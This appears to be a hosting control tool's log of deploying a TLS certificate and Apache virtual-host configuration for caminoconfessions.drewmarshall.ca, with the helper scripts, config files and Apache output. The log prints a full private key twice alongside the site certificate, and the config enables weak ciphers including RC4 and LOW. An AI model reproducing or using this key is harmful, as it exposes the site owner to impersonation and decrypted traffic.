jS1+v/gZGP3O2r6Njb69xNUIZy5wHCPXuV8Rzsg8AzOGXTezWAKPiastL7nVCOTV
iTs93yt9S/6sIN7+l9DZhzNNOUKUaD/cuuXF5yBb6iSUl9eIrkjUTNQooXVW4NFE
kK1P9BnP1n2RLNVgLSlgiRk+nI5WAgXmR8Rg+uNw0TXGX+6HwlfdcnxVtsw/3HXz
hSxLjwd+OlU2OkpJNNC8Ekw9Ya8UPCXU4uZUgahueBWIPbWL1h7M441kKElzUyHj
y8Ui3hwoZleJSXAVveXDJjY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDuxx8+TsxQYTVd
QW0Uu/X+Nfyem5mo3t5a8uLeXSWrKKoDom1EYkRsLYr8Wu+uUTnH3QQ4vQqx2Wd1
m3gdbA4dnR3gyvllvEjHv0ltdOhH9BJ73uUDVxivxax1+2TlwmPJz7HDl5BwouiG
x6RDH8dEuRmF7CWaxdPYL/HLI87G8l59meR5uQM55+2G+yDOgX3M8AX4GAgvAnkL
3426e5KDcZYgQ0pOoGIv+1aeRzk+POVSnM+RgJnoc0UVt3TsuuqBLBcSTVxKP78G
ruWBET3a1WbE/YiTvEO7vvZAMUPmP7ecFxmwXY0bU+N4zo8tLNr7hZkTqHaIbMuw
7UXZ/dfjAgMBAAECggEBAOf0JzWv9mpfBCgDVqO9s8mvSCgLn8mcNwTCzgCVG/KZ
Hg9JyjuT+kPcOhfLfuonnam52lAD1E/QkeB9lsF+Jng+GLg2dO+PaGQiPoJF/x9m
yk3qyS3lfeXCcTZrcCiCHc3+JQGMSpQgrSHA7qEGTd1EsraWIDGp25E3gfuEXWqE
R0Rdi0VytKAtOjA772fKyuGhrZBKHEB/Z6ihQV0H+drcnHsEBGcdITrEH0+IP5M5
LezTqo0WsIWYRvhHRH3yefldQVuTnXhQxy5025fJyyBY41Es7KfoURy0cEsgxloB
8hYDc+Tmm5nt7ANL7Jl9z0cp2rNEgKo+/o5cdw5d14ECgYEA+fwBBJcwEo0YotUR
/NTLn0NgxoNzVj/FSRBDHOSghPHDEwVjiV8MLJsUvqaGuyd5+jafhLa9tFOqdVTh
AMbZ7xgELFxgQsnv9VZa4XedR9sypgbXAydRQNj8B7zhczGCWUYC6qlMBTw9CcJe
irdFDTCVtlofq6qMkHmUzol2O08CgYEA9IYU2trCGI2IvGPYKCR0O+fkf6glpFEM
xcsQh78bXPNSB3tAAVuIFItr7OECoqamWQnW+1R7v7OAo2wcqMFa70SExwgxti4Y
VKlUz87iSdqwkh8rvcOTYQ5cMkMpqDG2809+foP4X2acU9IinpeTnWQGNA8rzv1G
K9mgHddtJS0CgYASvXqSDodzDJLJOjHkA0vUf6eUmiweTh+LD6YIV3dVIA6gsWm5
1Z9DBMk0VaWKCDaTtF6XA2ALUa5Yp2lKtp2F2AYQEUjCGQNdIAEmH+JxjZQpcB/U
Q7FKrDmQlu9LxG1iJeZ4EwL47YAh6ClQOtb5WygOCImRQ/LPrd2i8hkj7wKBgDq7
HbU3R9lX3VjKbnet0dE1sHdM7sWZxgSX8n94Ul0wACrV2pi44GV221RI8zYX6uqF
54H0V8jCl4opBHUwA+RmQ7H+cNo+Fg/3n+xN16I/iZt/KyVoHTT5mwFjilTgo/2q
wUon7ncTkUa8uR34cDckeCz22+HaiYksuz2PqaJ9AoGACCERqjdxWWj6GWXSDori
myYVLnTvFiy0gzkUgfNiRuxOb/K+2Y/V6w7EqqTG0yl32DoRjJtpJxDeIwn7QZyb
JGM6hWrDhv95lxh46eoqF1c8drke+BiEqRVZwupKC/imhFtdTXN5rSPdcBqXxXw+
JnXhseCqaYsjnTF/awUxeLA=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-01 06:00:11: 

chmod 755 /tmp/pkp318614; /tmp/pkp318614; rm /tmp/pkp318614

2025-09-01 06:00:11: 


dir=/etc/ssl/certs


2025-09-01 06:00:11: 

PUT: /tmp/pkp849187

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-01 06:00:11: 

chmod 755 /tmp/pkp849187; /tmp/pkp849187; rm /tmp/pkp849187

2025-09-01 06:00:11: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf 57

<VirtualHost *:80>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-01 06:00:11: 

PUT: /tmp/pkp439851

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_caminoconfessions_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf= 1'
fi


2025-09-01 06:00:11: 

chmod 755 /tmp/pkp439851; /tmp/pkp439851; rm /tmp/pkp439851

2025-09-01 06:00:11: 




2025-09-01 06:00:11: 

PUT: /tmp/pkp215038

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-01 06:00:11: 

chmod 755 /tmp/pkp215038; /tmp/pkp215038; rm /tmp/pkp215038

2025-09-01 06:00:11: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-01 06:00:11: Establishing a connection
2025-09-01 06:00:12: 

PUT: /tmp/pkp116762

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-01 06:00:12: 

chmod 755 /tmp/pkp116762; /tmp/pkp116762; rm /tmp/pkp116762

2025-09-01 06:00:12: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-01 06:00:12: 

PUT: /tmp/pkp420940

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-01 06:00:12: 

chmod 755 /tmp/pkp420940; /tmp/pkp420940; rm /tmp/pkp420940

2025-09-01 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf	1479

<VirtualHost *:80>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-01 06:00:12: 

PUT: /tmp/pkp464352

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-01 06:00:12: 

chmod 755 /tmp/pkp464352; /tmp/pkp464352; rm /tmp/pkp464352

2025-09-01 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt	5394
9f:4d:16:fb:46:1f:f0:e8:48:a8:24:6c:2c:d3:f2:de

-----BEGIN CERTIFICATE-----
MIIFHTCCBAWgAwIBAgISBZ3akOgSYlDXthGbtOXK83cOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTAxMDUwMTQwWhcNMjUxMTMwMDUwMTM5WjAsMSowKAYDVQQD
EyFjYW1pbm9jb25mZXNzaW9ucy5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDuxx8+TsxQYTVdQW0Uu/X+Nfyem5mo3t5a8uLe
XSWrKKoDom1EYkRsLYr8Wu+uUTnH3QQ4vQqx2Wd1m3gdbA4dnR3gyvllvEjHv0lt
dOhH9BJ73uUDVxivxax1+2TlwmPJz7HDl5BwouiGx6RDH8dEuRmF7CWaxdPYL/HL
I87G8l59meR5uQM55+2G+yDOgX3M8AX4GAgvAnkL3426e5KDcZYgQ0pOoGIv+1ae
Rzk+POVSnM+RgJnoc0UVt3TsuuqBLBcSTVxKP78GruWBET3a1WbE/YiTvEO7vvZA
MUPmP7ecFxmwXY0bU+N4zo8tLNr7hZkTqHaIbMuw7UXZ/dfjAgMBAAGjggIwMIIC
LDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMC
MAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFD8pCRlZTxABek69KybiQjdXVtE+MB8G
A1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAj
BggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wLAYDVR0RBCUwI4Ih
Y2FtaW5vY29uZmVzc2lvbnMuZHJld21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
MTUuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHUA7TxL1ugGwqSiAFfbyyTi
OAHfUS/txIbFcA8g3bc+P+AAAAGZA9yRJQAABAMARjBEAiB8qYQWxiBL7ZWvKIRn
ZCAgOZHIbnY6KCH7WHmKSJhUUQIgaeY4CqNu1ygQ1G65DexMtH4xPra2TiDs7zgw
G8cPnPoAdgAN4fIwK9MNwUBiEgnqVS78R3R8sdfpMO8OQh60fk6qNAAAAZkD3JEk
AAAEAwBHMEUCIQDxQui2L1mKnwnlyR+lI85Q4HZt0dm7OTn8gaKuGvWMmgIgStxu
JKZhXsgKPFyLCr8KGWXKJQ4Nqn3+NcxLUTRPHZowDQYJKoZIhvcNAQELBQADggEB
ADvOAtwHXj/jqAyfgNQ1Ztq6VSNEoINaO/cWV5SL9QZi8WU4cJD0C6sRvlEtx+JW
jS1+v/gZGP3O2r6Njb69xNUIZy5wHCPXuV8Rzsg8AzOGXTezWAKPiastL7nVCOTV
iTs93yt9S/6sIN7+l9DZhzNNOUKUaD/cuuXF5yBb6iSUl9eIrkjUTNQooXVW4NFE
kK1P9BnP1n2RLNVgLSlgiRk+nI5WAgXmR8Rg+uNw0TXGX+6HwlfdcnxVtsw/3HXz
hSxLjwd+OlU2OkpJNNC8Ekw9Ya8UPCXU4uZUgahueBWIPbWL1h7M441kKElzUyHj
y8Ui3hwoZleJSXAVveXDJjY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDuxx8+TsxQYTVd
QW0Uu/X+Nfyem5mo3t5a8uLeXSWrKKoDom1EYkRsLYr8Wu+uUTnH3QQ4vQqx2Wd1
m3gdbA4dnR3gyvllvEjHv0ltdOhH9BJ73uUDVxivxax1+2TlwmPJz7HDl5BwouiG
x6RDH8dEuRmF7CWaxdPYL/HLI87G8l59meR5uQM55+2G+yDOgX3M8AX4GAgvAnkL
3426e5KDcZYgQ0pOoGIv+1aeRzk+POVSnM+RgJnoc0UVt3TsuuqBLBcSTVxKP78G
ruWBET3a1WbE/YiTvEO7vvZAMUPmP7ecFxmwXY0bU+N4zo8tLNr7hZkTqHaIbMuw
7UXZ/dfjAgMBAAECggEBAOf0JzWv9mpfBCgDVqO9s8mvSCgLn8mcNwTCzgCVG/KZ
Hg9JyjuT+kPcOhfLfuonnam52lAD1E/QkeB9lsF+Jng+GLg2dO+PaGQiPoJF/x9m
yk3qyS3lfeXCcTZrcCiCHc3+JQGMSpQgrSHA7qEGTd1EsraWIDGp25E3gfuEXWqE
R0Rdi0VytKAtOjA772fKyuGhrZBKHEB/Z6ihQV0H+drcnHsEBGcdITrEH0+IP5M5
LezTqo0WsIWYRvhHRH3yefldQVuTnXhQxy5025fJyyBY41Es7KfoURy0cEsgxloB
8hYDc+Tmm5nt7ANL7Jl9z0cp2rNEgKo+/o5cdw5d14ECgYEA+fwBBJcwEo0YotUR
/NTLn0NgxoNzVj/FSRBDHOSghPHDEwVjiV8MLJsUvqaGuyd5+jafhLa9tFOqdVTh
AMbZ7xgELFxgQsnv9VZa4XedR9sypgbXAydRQNj8B7zhczGCWUYC6qlMBTw9CcJe
irdFDTCVtlofq6qMkHmUzol2O08CgYEA9IYU2trCGI2IvGPYKCR0O+fkf6glpFEM
xcsQh78bXPNSB3tAAVuIFItr7OECoqamWQnW+1R7v7OAo2wcqMFa70SExwgxti4Y
VKlUz87iSdqwkh8rvcOTYQ5cMkMpqDG2809+foP4X2acU9IinpeTnWQGNA8rzv1G
K9mgHddtJS0CgYASvXqSDodzDJLJOjHkA0vUf6eUmiweTh+LD6YIV3dVIA6gsWm5
1Z9DBMk0VaWKCDaTtF6XA2ALUa5Yp2lKtp2F2AYQEUjCGQNdIAEmH+JxjZQpcB/U
Q7FKrDmQlu9LxG1iJeZ4EwL47YAh6ClQOtb5WygOCImRQ/LPrd2i8hkj7wKBgDq7
HbU3R9lX3VjKbnet0dE1sHdM7sWZxgSX8n94Ul0wACrV2pi44GV221RI8zYX6uqF
54H0V8jCl4opBHUwA+RmQ7H+cNo+Fg/3n+xN16I/iZt/KyVoHTT5mwFjilTgo/2q
wUon7ncTkUa8uR34cDckeCz22+HaiYksuz2PqaJ9AoGACCERqjdxWWj6GWXSDori
myYVLnTvFiy0gzkUgfNiRuxOb/K+2Y/V6w7EqqTG0yl32DoRjJtpJxDeIwn7QZyb
JGM6hWrDhv95lxh46eoqF1c8drke+BiEqRVZwupKC/imhFtdTXN5rSPdcBqXxXw+
JnXhseCqaYsjnTF/awUxeLA=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
